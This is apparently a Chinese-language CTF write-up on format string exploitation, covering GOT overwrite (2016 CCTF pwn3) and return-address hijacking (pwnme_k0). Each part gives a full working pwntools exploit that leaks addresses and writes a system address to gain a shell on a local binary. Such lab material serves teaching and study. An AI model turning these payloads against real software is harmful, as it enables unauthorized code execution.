<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    格式化字符串漏習題

    got劫持

    原理

    在目前的 C 程序中,libc 中的函數都是通過 GOT 表來跳轉的。在沒有開啟 RELRO 保護的前提下,每個 libc 的函數對應的 GOT 表項是可以被修改的。因此,我們可以修改某個 libc 函數的 GOT 表內容為另一個 libc 函數的地址來實現對程序的控制。比如說我們可以修改 printf 的 got 表項內容為 system 函數的地址。從而,程序在執行 printf 的時候實際執行的是 system 函數。
    舉一個例子

    #include <stdio.h>
    #include <stdlib.h>
    
    void win()
    {
        puts("you win");
    }
    void main()
    {
        unsigned int addr, value;
        scanf("%x=%x",&addr, &value);
        *(unsigned int *)addr  = value;
        printf("set %x=%x",addr,value);
    }

    這里允許修改任意地址4字節,那么如何執行win函數呢?在修改數據之后調用了printf函數,可以考慮修改printf()的got表項將其劫持到win函數。
    格式化字符串漏習題

    例題

    2016 CCTF 中的 pwn3
    鏈接: https://pan.baidu.com/s/1VQryC4BZrB6dMoEXfyIhOw 密碼: e2b4

    格式化字符串漏習題

    IDA下F5看看,

    格式化字符串漏習題

    格式化字符串漏習題

    格式化字符串漏習題
    有個驗證判斷,ASCII加1即可
    逆向一波即可通過進入循環
    格式化字符串漏習題
    在后面的getfile()中存在格式化字符串漏洞
    exp

    from pwn import *
    from LibcSearcher import *
    #context.log_level = 'debug'
    sh = process("./pwn3")
    pwn3 = ELF("./pwn3")
    
    
    def pass_judge():
        tmp = "sysbdmin"
        name = ""
        for i in tmp:
            name += chr(ord(i) - 1)
        sh.recvuntil('Name (ftp.hacker.server:Rainism):')
        sh.sendline(name)
    
    def put_file(name, content):
        sh.sendline('put')
        sh.recvuntil('upload:')
        sh.sendline(name)
        sh.recvuntil('content:')
        sh.sendline(content)
    
    def get_file(name):
        sh.sendline('get')
        sh.recvuntil('get:')
        sh.sendline(name)
        #gdb.attach(sh)
        return sh.recv()
    
    
    pass_judge()
    log.success('go in to')
    
    # get addr of puts
    puts_got = pwn3.got["puts"]
    log.success('puts got ' + hex(puts_got))
    put_file(b'AAAA',b"%8$s" + p32(puts_got))
    puts_addr = u32(get_file('AAAA')[:4])
    log.success('puts addr ' + hex(puts_addr))
    
    # get system addr
    libc = LibcSearcher("puts",puts_addr)
    system_offset = libc.dump('system')
    puts_offset = libc.dump('puts')
    log.success('puts offets ' + hex(puts_offset))
    system_addr = puts_addr - puts_offset + system_offset
    log.success('system addr : ' + hex(system_addr))
    
    
    payload = fmtstr_payload(7, {puts_got: system_addr})
    put_file('/bin/sh;', payload)
    #sh.recvuntil('ftp>')
    sh.sendline('get')
    sh.recvuntil('get:')
    ##gdb.attach(sh)
    sh.sendline('/bin/sh;')
    
    sh.sendline('dir')
    sh.interactive()

    核心思路是劫持GOT表,利用格式化字符串漏洞把puts地址改寫成system地址。
    以下摘自CTF-wiki pwn
    這里我利用了 pwntools 中的 fmtstr_payload 函數,比較方便獲取我們希望得到的結果,有興趣的可以查看官方文檔嘗試。比如這里 fmtstr_payload(7, {puts_got: system_addr}) 的意思就是,我的格式化字符串的偏移是 7,我希望在 puts_got 地址處寫入 system_addr 地址。默認情況下是按照字節來寫的。

    hijack ret

    與前面的題一樣,這里是利用格式化字符串漏洞劫持了返回地址

    例題

    鏈接: https://pan.baidu.com/s/1pANMgHf7pnKvZCllwWSWuA 密碼: pkio

    格式化字符串漏習題
    64位程序,開啟了Full RELRO保護,因此不能劫持GOT表了。
    跑了一下程序發現是一個類似注冊賬戶修改信息的。
    IDA下找了找,在這發現了格式化字符串漏洞

    格式化字符串漏習題

    &a9+4我們在輸入密碼的這里也看到了

    格式化字符串漏習題
    還可以發現username和password之間距離為20個字節,在分析的時候我們還發現了這樣一個函數

    格式化字符串漏習題
    竟然直接調用system了,原來就是你把shell帶到這邊來的。到這里其實分析的差不多了

    利用思路

    很顯然,我們可以修改某個函數的返回地址為調用system的地址,這樣直接就能拿shell。
    通過相對偏移來ret2addr。整個流程如下

    • 確定偏移
    • 獲取函數的 rbp 與返回地址
    • 根據相對偏移獲取存儲返回地址的地址
    • 將執行 system 函數調用的地址寫入到存儲返回地址的地址。
      首先來確定一下偏移

    格式化字符串漏習題
    我們在第二個print處下斷點,輸入數據后查看偏移

    格式化字符串漏習題
    在棧的第二個位置處是0x400d74保存的是原來的額rip。
    值得一提的是,我們不能忽略這是64位的程序,所以有一些參數是通過寄存器傳遞的。
    直接用pwngdb的fmtarg查看偏移,d0偏移是8的話那rbp就是6。
    格式化字符串漏習題
    一個是name的一個是password的。
    接下來算下基于棧的rip偏移是多少因為存儲的返回地址本身是動態變化的,但是其相對于rbp的地址并不會改變。

    格式化字符串漏習題

    格式化字符串漏習題
    到這里其實解題方法已經很明顯了,首先通過格式化字符串獲取棧基址,接著通過偏移得到rip的地址,那么通過格式化字符串的任意地址寫就可以替換成system了。
    exp

    from pwn import *
    
    sh = process('./pwnme_k0')
    
    sh.recv()
    sh.sendline('A'*8)
    sh.recv()
    sh.sendline("%6$p")
    
    sh.recvuntil('>')
    sh.sendline('1')
    addr = ( sh.recvuntil('>').decode('utf-8') ).split('\n')[1]
    leak_addr = int(addr,16) - 0x38
    
    # write addr to rip
    sh.sendline('2')
    sh.recv()
    sh.sendline('1'*8)
    sh.recv()
    sh.sendline(p64(leak_addr))
    sh.recv()
    sh.sendline("%2218d%8$hn")
    
    sh.recv()
    sh.sendline('1')
    sh.recv()
    sh.interactive()
    

    參考

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类